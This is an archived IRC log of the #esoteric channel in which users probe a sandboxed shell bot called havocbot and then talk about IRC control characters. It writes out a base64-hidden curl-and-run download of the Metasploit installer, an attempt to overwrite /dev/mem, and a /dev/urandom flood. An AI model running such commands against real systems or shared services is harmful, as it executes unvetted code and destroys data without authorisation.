19:30:38 <havocbot> prooftechnique:--2016-06-10 04:43:33-- https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb/Resolving raw.githubusercontent.com... to raw.githubusercontent.com||:443... connected./HTTP request sent, awaiting response... 200 OK/Length: 5394 (5.3K) [text/plain]/Saving to: 'msfinstall'// 0K .....
19:30:49 <moon__> havocbot: rm -f msfinstall
19:30:57 <moon__> havocbot: ls
19:30:59 <prooftechnique> rude
19:31:05 <moon__> No
19:31:08 <moon__> Just no
19:31:12 <havocbot> moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/rCu7GHCY/train.jpg
19:31:22 <moon__> ill happily cut the network access
19:31:30 <shachaf> havocbot: cat /dev/zero > /dev/mem
19:31:44 <moon__> failed
19:31:46 <prooftechnique> havocbot: /cu Y3VybCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmFwaWQ3L21ldGFzcGxvaXQtb21uaWJ1cy9tYXN0ZXIvY29uZmlnL3RlbXBsYXRlcy9tZXRhc3Bsb2l0LWZyYW1ld29yay13cmFwcGVycy9tc2Z1cGRhdGUuZXJiID4gbXNmaW5zdGFsbCAmJiBcDQogIGNobW9kIDc1NSBtc2ZpbnN0YWxsICYmIFwNCiAgLi9tc2ZpbnN0YWxs
19:31:47 <moon__> havocbot: ls
19:31:47 <havocbot> moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/msfinstall/rCu7GHCY/train.jpg
19:31:47 <havocbot> prooftechnique: % Total % Received % Xferd Average Speed Time Time Time Current/ Dload Upload Total Spent Left Speed/
19:31:56 <moon__> havocbot: ls
19:31:56 <havocbot> moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/msfinstall/rCu7GHCY/train.jpg
19:31:57 <int-e> shachaf: > just turns into an argument for cat
19:32:04 <moon__> havocbot: rm msfinstall
19:32:04 <shachaf> Oh.
19:32:13 <moon__> and staph
19:32:13 <int-e> shachaf: which is the point of all the cu business... and why I used dd
19:32:30 <moon__> bad bad bad
19:32:35 <moon__> i willl kill network access
19:32:36 <shachaf> int-e: I've been trying to avoid reading this bot and channel because it's so spammy and annoying.
19:32:48 <prooftechnique> havocbot: which msfconsole
19:32:48 <havocbot> prooftechnique:which: no msfconsole in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4)
19:32:52 <prooftechnique> Aww
19:32:56 <moon__> (=
19:33:04 <prooftechnique> havocbot: which ruby
19:33:04 <havocbot> prooftechnique:which: no ruby in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4)
19:33:05 <moon__> i killed it
19:33:12 <prooftechnique> Ah, it's because no ruby
19:33:15 <prooftechnique> That would do it
19:33:17 <prooftechnique> Oh, well
19:33:24 <moon__> and no metaexploit, damnit
19:33:34 <b_jonas> moon__: um, if it gets too noisy, you could move the bot to #esoteric-blah
19:33:44 <prooftechnique> Metasploit is a totally innocent tool for benevolent security researchers
19:34:03 <moon__> staph trying to invade my internet
19:34:18 <int-e> moon__: nobody is invading
19:34:21 <int-e> moon__: you opened the door
19:34:28 <int-e> or floodgates
19:34:30 <int-e> whatever
19:34:35 <shachaf> Definitely floodgates.
19:34:48 <shachaf> Yes, please move the bot to #esoteric-blah.
19:34:52 <moon__> ok
19:34:55 -!- havocbot has quit (Remote host closed the connection).
19:36:05 <prooftechnique> havocbot: sed -i.back 's/esoteric/esoteric-blah/g' bashbot.config
19:36:13 <prooftechnique> Oh, it's down :(
19:36:48 <b_jonas> int-e: bot will move to #esoteric-blah
19:36:48 <int-e> moon__: also you should realize that what you've seen so far has been benign... nobody tried to escape the virtual machine.
19:37:59 <moon__> its up in esoteric-blah
19:38:08 <moon__> under the name hbot
19:38:09 <int-e> (I'm discounting prooftechnique's metasploit download because I suspect it would have run out of memory on the tmpfs soon)
19:38:11 -!- evalj has joined.
19:41:57 <prooftechnique> int-e: Probably, yes
19:42:15 <prooftechnique> I can probably reduce it, though. I think there are some minimal shims out there
19:42:28 <prooftechnique> Though I'd still have to get ruby instaled
19:42:30 <prooftechnique> *installed
19:42:37 <moon__> ruby is fine
19:42:40 <moon__> metasploit no
19:42:45 <b_jonas> prooftechnique: moon__ said there's a hard disk or something mounted, so you can create a swap file and swapon it
19:42:51 <b_jonas> prooftechnique: RAM shouldn't be a problem
19:43:02 <moon__> there are two b_jonas
19:43:11 <b_jonas> moon__: writable too?
19:43:12 <moon__> gentoo and one other idk the name of
19:43:14 <moon__> mhm
19:43:37 <int-e> b_jonas: http://sprunge.us/iALY ... unless that has changed...
19:44:38 <b_jonas> int-e: hmm
19:45:16 <b_jonas> wtf
19:50:26 <ybden> HackEgo: rm bashbot.pid
19:50:29 <ybden> oops
19:50:40 <ybden> oh, it's not here
19:51:17 <ybden> < moon__> ill happily cut the network access ← you should really be more careful with this
19:51:19 <shachaf> ybden all hope
19:51:29 * ybden all hope?
19:52:09 <Phantom_Hoover> ybden have you been here before
19:52:19 <ybden> Phantom_Hoover: depends when
19:52:28 <Phantom_Hoover> more than two years ago
19:52:31 <ybden> no
19:52:46 <ybden> `? all hope
19:52:48 <HackEgo> all hope? ¯\(°​_o)/¯
19:52:49 <ybden> `? hope
19:52:51 <HackEgo> hope? ¯\(°​_o)/¯
19:53:01 <shachaf> And manganese and mercury and ybden and magnesium, / Dysprosium and scandium and cerium and cesium
19:53:31 <ybden> hmm, that reminds me of something
19:53:59 <hppavilion[1]> shachaf: scandium spends a lot of time on TMZ
19:55:12 <ybden> shachaf: What is the context?
19:56:20 <shachaf> Of what?
19:56:22 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…).
19:57:06 -!- atrapado has quit (Quit: Leaving).
19:57:07 <ybden> shachaf: thine two prior messages
19:57:43 <shachaf> Nontext.
19:58:18 <ybden> shachaf: I presume they were in reference to something, however?
20:01:06 -!- augur has quit (Remote host closed the connection).
20:01:08 -!- Vorpal has quit (Remote host closed the connection).
20:16:05 <hppavilion[1]> Yay! Gawker has filed for bankruptcy!
20:25:04 -!- hwpplayer1 has quit (Quit: Leaving.).
20:26:46 -!- hwpplayer1 has joined.
20:27:13 -!- Akaibu has quit (Quit: Connection closed for inactivity).
20:32:01 -!- hwpplayer1 has quit (Quit: Leaving.).
20:33:17 -!- hwpplayer1 has joined.
20:38:05 <shachaf> ybden: abandon all hope
20:38:37 <moon__> ybden
20:38:48 <moon__> havocbot is alive in #esoteric-blah
20:38:49 <shachaf> ybden: and manganese and mercury, molybdenum, magnesium
20:42:03 <prooftechnique> hppavilion[1]: neat
20:47:15 <moon__> shachaf, not many people are using havoc, can i bring it back here while keeping it in esoteric-blah at the same time?
20:47:27 <shachaf> Ask oerjan.
20:47:48 <int-e> I would prefer it to stay away, fwiw
20:47:59 <int-e> it's highly distractign
20:48:53 <shachaf> That would be my preference too.
20:49:04 <shachaf> `5
20:49:13 <HackEgo> 1/3:675) <Phantom_Hoover> There.... is a box of Gardasil next to the butter in my fridge. <Phantom_Hoover> At least my sandwich will be immune to cervical cancer *and* genital warts, I suppose. \ 225) <zzo38> If you want to use TeX formats invented by Christians, use Plain TeX. However, I do not think the religion of its author is
20:49:17 <shachaf> `spam
20:49:18 <HackEgo> 2/3:a good way to decide what to use. I decide to use Plain TeX for its own reasons. \ 1121) <boily> everything is either zipf, branford, poisson, gamma, or uniform. outside of that, it's a weird curve invented by sadistic statistics teachers. \ 485) <elliott> Deewiant: How do you go through life without seeing at least one gaping a
20:49:20 <shachaf> `spam
20:49:22 <HackEgo> 3/3:nus, that's what I want to know \ 1215) <GeekDude> Most of the time I have no idea what this channel is doing <GeekDude> the other half I still have no idea \
20:49:36 -!- int-e has set topic: #esoteric-blah is wreaking havoc | The intradisciplinary hub of solidity matrices, esoteric programming language design, and font forging | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf.
20:49:47 <int-e> compromise?
20:49:54 <moon__> lol
20:49:58 <moon__> ok haha
21:00:35 <hppavilion[1]> `blerp
21:00:36 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: blerp: not found
21:00:44 <hppavilion[1]> Seriously? Someone has failed
21:07:12 <hppavilion[1]> `nasaldemons
21:07:15 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: nasaldemons: not found
21:08:35 <moon__> hppa
21:09:01 <moon__> i just snuck that command on havoc without anyone noticing using my terminal, wana try it out? :P
21:13:50 -!- hppavilion[1] has quit (Ping timeout: 244 seconds).
21:14:03 -!- dnm has joined.
21:25:22 -!- hppavilion[1] has joined.
21:26:01 -!- hwpplayer1 has quit (Quit: Leaving.).
21:28:10 <moon__> hia hppa
21:29:04 <hppavilion[1]> Are there any 4D rendering engines?
21:29:24 <hppavilion[1]> Not ones that convert everything into 3D-legible graphics that work nicely for pathetic 3D beings like myself
21:29:40 <hppavilion[1]> An engine that renders everything in its full, 4-dimensional glory
21:29:48 <hppavilion[1]> (projected onto my 2D screen of course)
21:30:20 <moon__> Nope
21:43:43 -!- evalj has quit (Remote host closed the connection).
21:45:35 -!- Sprocklem has quit (Quit: [).
22:04:49 -!- spiette has quit (Quit: :qa!).
22:05:54 -!- hppavilion[1] has quit (Ping timeout: 246 seconds).
22:10:40 -!- hppavilion[1] has joined.
22:36:57 -!- ais523 has joined.
22:37:16 <int-e> hmm, Snakebird (silly name, in the current "staff pick" humble bundle) has surprisingly hard levels
22:37:45 <moon__> Huh
22:38:27 <int-e> (contrary to the common case which seems to be that even when people come up with good game mechanics they fail to use them to their full potential)
22:38:57 <int-e> moon__: if you ask a more articulate question I might answer :P
22:39:19 <moon__> which do you prefer: havocbot or hackego?
22:39:20 <moon__> there
22:39:21 <moon__> question
22:39:28 <int-e> hackego
22:39:39 <moon__> and why?
22:39:42 <int-e> but what does that have to do with the "huh" above?
22:40:05 <moon__> you said ask a question (=
22:40:23 <int-e> it's sane (you don't have root so the temptation to just crash it doesn't come up), it's snapshotted, and it's well entrenched in #esoteric culture and history
22:40:28 -!- augur has joined.
22:40:30 <int-e> I know :P
22:41:04 <int-e> I'm living up to my end of the bargain and answering.
22:41:10 <ais523> is havocbot a hackego variant with less sandboxing?
22:41:28 <moon__> Havoc uses a diffrent script, thats for certain
22:41:35 <moon__> no code based relations to hackego
22:42:00 <moon__> if you want to look at it, its in #esoteric-blah
22:43:31 -!- hppavilion[1] has quit (Ping timeout: 250 seconds).
22:44:39 -!- hppavilion[1] has joined.
22:52:39 -!- havbot has joined.
22:53:02 <moon__> wait why did it join here? i thought i commented that out!
22:53:21 <moon__> havbot: killall bash
22:53:21 -!- havbot has quit (Remote host closed the connection).
22:54:04 <ais523> I hope it's at least running in a VM
22:54:09 <moon__> it is
22:54:28 <ais523> OK, so if someone decides to write zeroes all over the hard drive, at least you aren't losing anything
22:54:28 <moon__> i dont trust you all with my pc :P
22:54:34 <moon__> yea
22:54:42 <moon__> plus the livecd is readonly
22:55:06 <Phantom_Hoover> ais523, i mean it's not any more dangerous than running it on a disposable physical machine
22:55:12 <moon__> so the livecd would get away too
22:55:27 <Phantom_Hoover> *any less
22:55:30 <ais523> Phantom_Hoover: most peolpe don't have disposable physical machines though
22:55:45 <ais523> (I did for a while, my students were using them to test kernel-mode keyloggers)
22:55:50 <Phantom_Hoover> idk, i have an rpi that has never seen any meaningful use
22:55:53 -!- havocbot has joined.
22:55:58 <ais523> I /marked/ them in a VM though :-)
22:56:13 <moon__> ah well
22:56:28 <moon__> if it gets spammy, ill take it out
22:56:45 <Phantom_Hoover> havocbot, cat /dev/urandom
22:56:56 <ais523> havocbot: grep -R esoteric / 2>/dev/null
22:57:00 <moon__> you mean: havocbot: cat /dev/urandom
22:57:00 <Phantom_Hoover> havocbot: cat /dev/urandom
22:57:02 <int-e> Phantom_Hoover: I think it wants a colon
22:57:16 <moon__> nothing, huh
22:57:21 <Phantom_Hoover> make this bot accomodate my client configuration imho
22:57:22 <int-e> havocbot: killall cat # this is going to work!
22:57:24 <moon__> havocbot: echo im not dead!
22:57:24 <havocbot> moon__:im not dead!
22:57:24 <ais523> maybe it's joining #esoteric, but not listening to it
22:57:38 <moon__> wrontg
22:57:40 <ais523> my command should logically take a while
22:57:57 <ais523> was planning to see where it was joining #esoteric and edit that bit out :-D
22:58:07 <havocbot> Phantom_Hoover:§ö;Ës;š[Qò¿RÍ쨪œ£ÌážkZ‘tp+ƒOà¢%M uãEy²lhµÓ‹ªßECZpÑBæÕ@AúùÂî¡^.Az7,¨3ôÊJ²=\£÷YOЩdÁŒÝ¦ØÁ¦ÆèÒM²ÔŸŽüÅ}¥7Û®{هNûøDСU£míïË| ·‚.Á›†ÃþœË0Øg£š’H*0.Ã"èyt@ìÌf³¼·rQD5m¶nJE‡/”"{2iQ›²îFK”ÜØ»/É1“Ec\­Hòi§$y®€<7¹˜¹23ÞØvË1=TÇx\/¸Ù~ÿšÇ`w;t«Í63)d(áá„u¸O|4y©|U”•î»*Q³5JöyrÜ/¾)•’å<Ñô¶Ú؂´b$õ‚çqí/üx}Äh×uæÕ;Lb(¾˜Îڗ8Wžl€øk˞U37­fe/t߸©_Ö£$^ìÕ¥ÛïB”¡³¾)07ðތý5‘]…6±ò¢§ú7Î|꘥
22:58:07 -!- havocbot has quit (Excess Flood).
22:58:14 <Phantom_Hoover> lol
22:58:17 <moon__> lol
22:58:25 <^v> omg fuck you
22:58:27 <ais523> there's no limit on the length of a line?
22:58:35 <^v> i hate BEL
22:58:38 <ais523> oh, right
22:58:39 <^v> its literally cancer lol
22:58:39 <moon__> as of now, no
22:58:43 <ais523> I thought you'd been pinged by that somehow
22:58:48 -!- havocbot has joined.
22:58:57 <ais523> (also why do IRC clients not filter BEL, it has no real legitimate use)
22:59:10 <ais523> (over IRC)
22:59:11 <moon__> besides being annoying
22:59:17 <int-e> They really should filter it.
22:59:17 <^v> im setting up my ZNC to filter it rn
22:59:38 <Phantom_Hoover> because BEL was a good idea half a century ago and unix is written by idiots?
22:59:45 <moon__> so urandom smacked you in the face?
23:00:09 <int-e> I'm running with xset -b since approximately forever
23:00:27 <int-e> (no visual bells either)
23:00:46 <zzo38> My IRC client does filter bells it just displays "G" black on purple.
23:00:56 <zzo38> (Same with any other control character it does not recognize.)
23:01:09 <Phantom_Hoover> it's almost as good as most clients interpreting NOTICE in exactly the opposite of the right way
23:01:18 <^v> ayyyy
23:01:21 <^v> hexchat has /set input_filter_beep on
23:01:37 <^v> why it isnt enabled be default
23:01:43 -!- hppavilion[1] has quit (Ping timeout: 250 seconds).
23:01:51 <moon__> count how many showed up in the urandom zzo38
23:02:17 <zzo38> And NOTICE isn't interpreted in any special way on my computer.
23:02:25 <Phantom_Hoover> like the spec explicitly says it's for bot replies and yet it's appropriated for channel-wide pings by several clients
23:02:31 <zzo38> moon__: I found three
23:02:49 <Phantom_Hoover> e.g. the people who usually complain if you do this
23:03:17 <ais523> actually, I have an idea
23:03:25 <int-e> who's complaining?
23:03:27 <ais523> let's persuade all major bots to send all replies as notice
23:03:30 <qrf> I will hunt you down
23:03:32 <qrf> And kill you
23:03:32 <ybden> Phantom_Hoover: argh please don't do that
23:03:32 <ais523> on every server
23:03:36 <ybden> it makes my client go ping
23:03:38 <Phantom_Hoover> you see!
23:03:39 <moon__> also, ais, the bot has 15gb of data for you to work with, 7 under /s and 8 under /mnt/gentoo
23:03:45 <ais523> and the problem will fix itself in a few weeks :-D
23:03:46 <qrf> Incidentally, I have no special notices for notices
23:03:47 <Phantom_Hoover> ybden, your client is fucking terrible!
23:03:47 <qrf> :D
23:03:55 <int-e> qrf: you joined this silly channel out of your own volition.
23:03:58 <qrf> I encountered them randomly just now
23:04:00 <qrf> Yes
23:04:02 <zzo38> tbden: Complain to whoever wrote the client; it is their fault not Phantom_Hoover
23:04:15 <ybden> that cat /dev/urandom looks interesting
23:04:18 <ais523> wait, since when did irssi ping on notices?
23:04:24 <moon__> havocbot: cat /dev/urandom
23:04:35 <ais523> ybden: it's just sending random bytes to IRC
23:04:49 <ais523> (a mix of true-random and cryptosecure pseudo-random)
23:04:51 <ybden> ais523: yeah. It somehow had several colour codes and blinking
23:05:06 <moon__> i noticed
23:05:15 <ais523> well, any message has the potential of being sent by random data
23:05:17 <ybden> < shachaf> ybden: and manganese and mercury, molybdenum, magnesium ← I got that one
23:05:18 <Phantom_Hoover> that's because irc uses non-ascii bytes to encode colour and blinking
23:05:20 <moon__> urandom = almost always a irc wakeup call
23:05:25 <ais523> but color codes and blinking are only a few bytes long
23:05:31 <ais523> so they're highly likely to be hit by chance
23:05:37 <ais523> like, color is two bytes IIRC
23:05:48 <zzo38> In client I use it won't ring the bell unless you push a wrong key or there is a /F rule that tells it to ring the bell (by default no /F rules are defined).
23:06:02 <Phantom_Hoover> ghmm, i wonder what happens with invalid colour codes
23:06:06 <Phantom_Hoover> ah, nothing
23:06:14 <Phantom_Hoover> wait no! they're interpreted
23:06:18 <ais523> ^bf +++.++[->++++++++++<]>.
23:06:18 <fungot>
23:06:22 <Phantom_Hoover> defaults to black
23:06:24 <ais523> wait, need to actually put a message after it
23:06:31 <ais523> ^bf +++.++[->++++++++++<]>.,[.,]!This is a test
23:06:31 <fungot> This is a test
23:06:37 <moon__> anyone able to kick havocbot?
23:06:39 <ais523> what color is that? I have color turned off on my client
23:06:43 <ais523> moon__: I am
23:06:47 <Phantom_Hoover> ais523, blue
23:06:49 <ais523> is it not capable of quitting of its own accord?
23:06:49 <moon__> kick him real quick
23:06:52 <moon__> its frozen
23:07:00 <ais523> kicking it won't disconnect it from the server
23:07:02 <Phantom_Hoover> how will that--
23:07:02 <ais523> just the channel
23:07:10 <Phantom_Hoover> moon__, just kill the process manually??
23:07:13 <ais523> (this is a mistake new bot writers frequently make)
23:07:15 <moon__> i did
23:07:21 <ybden> < ais523> (also why do IRC clients not filter BEL, it has no real legitimate use) ← irssi seems to actually interpret it and ping explicitly, given that it makes a different sound to my normal terminal beep
23:08:03 -!- havocbot has quit (Ping timeout: 240 seconds).
23:08:06 <ais523> I mean, I can kick it – given that it's annoying several people here, doing so would probably be justified – but it wouldn't help you fix the freeze
23:08:12 <ais523> and as seen there, most likely it was just a ghost
23:08:19 <ais523> left after you killed the process
23:08:26 <fizzie> There's a "bell_beeps" setting flag in irssi.
23:08:35 <ybden> fizzie: ooh
23:08:40 <ybden> I should maybe change that
23:08:44 <ybden> thanks
23:08:59 <ais523> ybden: I'd recommend it, this channel ends up with random BELs sent to it way too often
23:09:03 <ybden> Phantom_Hoover: agreed, irssi is definitely not the best
23:09:05 <ais523> most commonly as a result of people running brainfuck programs
23:09:07 <moon__> directly echoing urandom is now against havocbot's rules :P
23:09:10 <ybden> ais523: haha
23:09:22 <ais523> given that a few more beeps surely can't cause that much more harm
23:09:26 <ais523> ^bf +[.+]
23:09:30 -!- moon__ has quit (Quit: Page closed).
23:09:40 <ybden> ais523: to be perfectly honest, I've only really had BELs from people sending them purposefully (from nc, telnet, etc.)
23:09:43 <ais523> hmm, maybe fungot has protection from that nowadays
23:09:43 <fungot> ais523: make it " ( char") " fnord"
23:09:51 <ais523> ooh
23:09:53 <ais523> ^bf ++[.+]
23:09:53 <fungot> .. !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐ ...
23:10:03 <ais523> if you start at ctrl-a, the whole thing becomes a ctcp ;-)
23:10:14 -!- moon_ has joined.
23:10:40 <ais523> for me, the whole ASCII table is italic and crosse out
23:10:40 <moon_> echoing urandom is now against havocbot's rules
23:10:44 <zzo38> Only ^J and ^M are filtered out (which is a requirement of IRC anyways), it look like?
23:10:47 <ais523> and a few of the control characters echoed
23:11:03 <ais523> actually it's surprising that neither the ^J nor ^M ended the line
23:11:22 <ais523> looks like IRC servers genuinely do look for both together
23:11:32 -!- havocbot has joined.
23:12:00 <int-e> hmm, what's ^O doing...
23:12:18 <fizzie> ais523: fungot explicitly replaces \r and \n with a '.'.
23:12:18 <fungot> fizzie: cool. how big's the smallest bf code that says fnord
23:12:20 <zzo38> int-e: At least my implementation has it to cancel all formatting codes
23:12:28 <ais523> fizzie: that's explain the .s I see
23:12:32 <ais523> does it also filter out bel?
23:12:40 <ais523> (bel doesn't do anything on my client, so I can't directly tell)
23:12:42 <fizzie> No.
23:12:55 <moon_> ill implent a filter for havoc soon
23:12:58 <ais523> hmm, this reminds me of a problem in libuncursed
23:12:59 <zzo38> I can tell; only ^M and ^J are converted to . and everything else remains as is
23:13:18 <ais523> some terminals get into a state where they're waiting for some character, possibly BEL
23:13:20 <int-e> <fungot> ^DEHI.KL.NPQRSTUWXYZ\^ ...
23:13:20 <fungot> int-e: sadly there isn't one
23:13:24 <fizzie> I've had filtering out ^A on the to-do list for a long time now.
23:13:25 <ais523> and rather than send BELs and annoy the users of all other terminals
23:13:45 <ais523> I send a few KB of NULs to cancel out when the buffer gets full :-D
23:14:06 <int-e> (the ^D is my doing... irssi uses(or used?) it internally to encode colors... and doesn't filter it from messages coming from irc)
23:14:12 <ais523> ^bf +.,[.,]+.!VERSION
23:14:25 <ais523> hmm, I didn't receive a CTCP from fungot there
23:14:25 <fungot> ais523: for one thing
23:14:30 <ais523> oh, we probably have a +C ban
23:14:34 <ais523> yes
23:14:47 <ais523> and that one was placed specifically to capture stray Ctrl-As from bots
23:15:04 <ais523> thus if you ask a bot to output a bunch of random info and it happens to contain a ctrl-a
23:15:10 <ais523> the message gets deleted by Freenode itself
23:15:40 <int-e> I'd expect it to only eat messages that start with ^A?
23:16:07 <int-e> ^bf ++.-.+..-.
23:16:07 <fungot> <CTCP><CTCP>
23:16:21 <int-e> okay.
23:16:23 <ais523> int-e: well according to the IRC spec you can put a ctcp in the middle of another message
23:16:24 <ais523> no idea why though
23:16:41 <ais523> ^bf ,.>+.,[.,]+.!xVERSION
23:16:41 <fungot> x<CTCP>VERSION<CTCP>
23:16:53 <ais523> my client doesn't parse it as a CTCP though, it just echoes the whole thing
23:17:00 <zzo38> I am not quite sure either, but my client implements it.
23:17:01 <ais523> so this is part of the spec that is apparently routinely ignored
23:17:51 <ais523> also, I'm amused that we're still mentioning the matrix of solidity in the topic
23:17:52 <zzo38> Are you able to see if fungot received a NOTICE? My client automatically sent one.
23:17:53 <fungot> zzo38: instead of just including and extend?"
23:18:52 <fizzie> zzo38: It did.
23:19:10 <zzo38> OK. Did it receive from anyone else or only from me?
23:19:22 <fizzie> staffehn also replied with a version reply.
23:19:27 <zzo38> OK
23:19:43 -!- Sgeo_ has joined.
23:19:55 <zzo38> Well, so this kind of implementation is seem rare anyways, but does exist.
23:20:06 <fizzie> Quassel IRC v0.8.0 and PHIRC:0.9 from them and you, respectively.
23:20:19 <zzo38> Yes
23:20:42 <fizzie> Oh, there's a third one (BitchX-1.1-final+) from Alcest. But that's all.
23:21:10 <zzo38> OK
23:23:41 <fizzie> Incidentally, the ^J-or-^M filtering is implemented particularly for the brainfuck ., not more generally than that. Fortunately you can't make Underload output any symbols that weren't in the input, and you can't get either of them into the input.
23:25:07 <fizzie> (Lines 303-304, ":a-:3-" and some tests.)
23:26:17 <fizzie> In retrospect, I think I could've saved a couple of instructions by just *ing those together and testing once, rather than testing both separately.
23:26:53 <ais523> now I'm trying to work out if there are any numbers other than 10 and 13 for which (x-10)*(x-13) is 0
23:27:01 <ais523> clearly there aren't if you're using bignum integers
23:27:04 <ais523> but computer arithmetic is bounded
23:27:40 <fizzie> Yes, but in this case 0 <= x <= 255, and the computation itself is done as a 32- or 64-bit signed integer.
23:28:28 <ais523> yes, in that case it's going to be correct
23:29:09 <ais523> hmm, let y = x-13, then we're checking for y(y+3) = 0, but 3 is odd
23:29:24 <ais523> thus if we're checking for y(y+3) = 2**n in bignum arithmetic
23:29:39 <Phantom_Hoover> <ais523> also, I'm amused that we're still mentioning the matrix of solidity in the topic
23:29:42 <ais523> the only solutions are for y or y-3 to be 0 modulo 2**n, as they can't both be even
23:29:44 <izabera> http://tiffzhang.com/startup
23:29:49 <Phantom_Hoover> i mean we're locked in there, it's not like we're getting out any time soon
23:33:44 <ais523> hmm, looks like esolangs.org is the top hit for "enjoy being locked in your matrix of solidity", and some of the other top hits are esotericism sites, but not all
23:33:47 <ais523> e.g. http://allariewindows.com/products/patio-door/ is pretty high up
23:34:22 <ais523> strangely it doesn't mention matrices anywhere
23:34:42 <ais523> although all the other words in the phrase are there, scattered in random parts of the page
23:41:40 -!- havocbot has quit (Remote host closed the connection).
23:42:07 -!- havocbot has joined.
23:43:07 <moon_> for google, the top hit is the logs
23:43:08 -!- J_Arcane has joined.
23:43:59 <ais523> moon_: google's search results depend on who's searching though
23:44:07 <ais523> have you used google to search the #esoteric logs before now?
23:44:19 <ais523> if you do it a lot, google will likely return them for any query that's sufficiently relevant
23:45:29 <moon_> No
23:45:32 <moon_> First time
23:49:53 <moon_> havocbot: /cv bmFzYWxkZW1vbnM=
23:50:05 <moon_> ?
23:51:29 <moon_> huh
23:51:39 <moon_> i guess it doesnt wana
23:52:14 <moon_> havocbot: cv ZWNobyB0aGlzIGlzIGEgdGVzdCBvZiBjdiBhbmQgaXRzIGJhc2U2NCBpbnB1dA0K
23:52:15 <havocbot> moon_:./bashbot-master/bashbot: line 170: /cv: No such file or directory
23:52:25 <moon_> havocbot: /cv ZWNobyB0aGlzIGlzIGEgdGVzdCBvZiBjdiBhbmQgaXRzIGJhc2U2NCBpbnB1dA0K
23:52:25 <havocbot> moon_:./bashbot-master/bashbot: line 170: /cv: No such file or directory
23:52:29 <moon_> .-.
23:53:13 <moon_> i should cp it back
23:53:23 <moon_> havocbot: cp /s/bin/cv /cv
23:53:23 <havocbot> moon_:./bashbot-master/bashbot: line 170: /cv: No such file or directory
23:53:44 <moon_> i moved the wrong one.
23:53:46 <moon_> i ment cu
23:54:20 <moon_> havocbot: cu ZWNobyB0aGlzIGlzIGEgdGVzdCBvZiBjdiBhbmQgaXRzIGJhc2U2NCBpbnB1dA0K
23:54:21 <havocbot> moon_:this is a test of cv and its base64 input
23:54:34 <moon_> s/cv/cu/
23:55:51 <shachaf> What happened to people preferring that havocbot leave?
23:56:07 <moon_> i broke a thing, im working on it :P
23:56:16 <moon_> esoteric got back in the list for some reason
23:57:20 <moon_> i think i fixed it
23:57:32 -!- havocbot has quit (Remote host closed the connection).
23:58:21 <moon_> ok fixed
23:58:26 <ybden> < moon_> echoing urandom is now against havocbot's rules ← are these rules enforced in any manner, or are you just hoping that we don't?
23:58:32 <moon_> my appolagies shachaf
23:58:39 <moon_> hopeing :P
23:58:44 <moon_> ill implent something soon
23:59:18 <Phantom_Hoover> how did you implement those rules moon_
←2016-06-09 2016-06-10 2016-06-11→ ↑2016 ↑all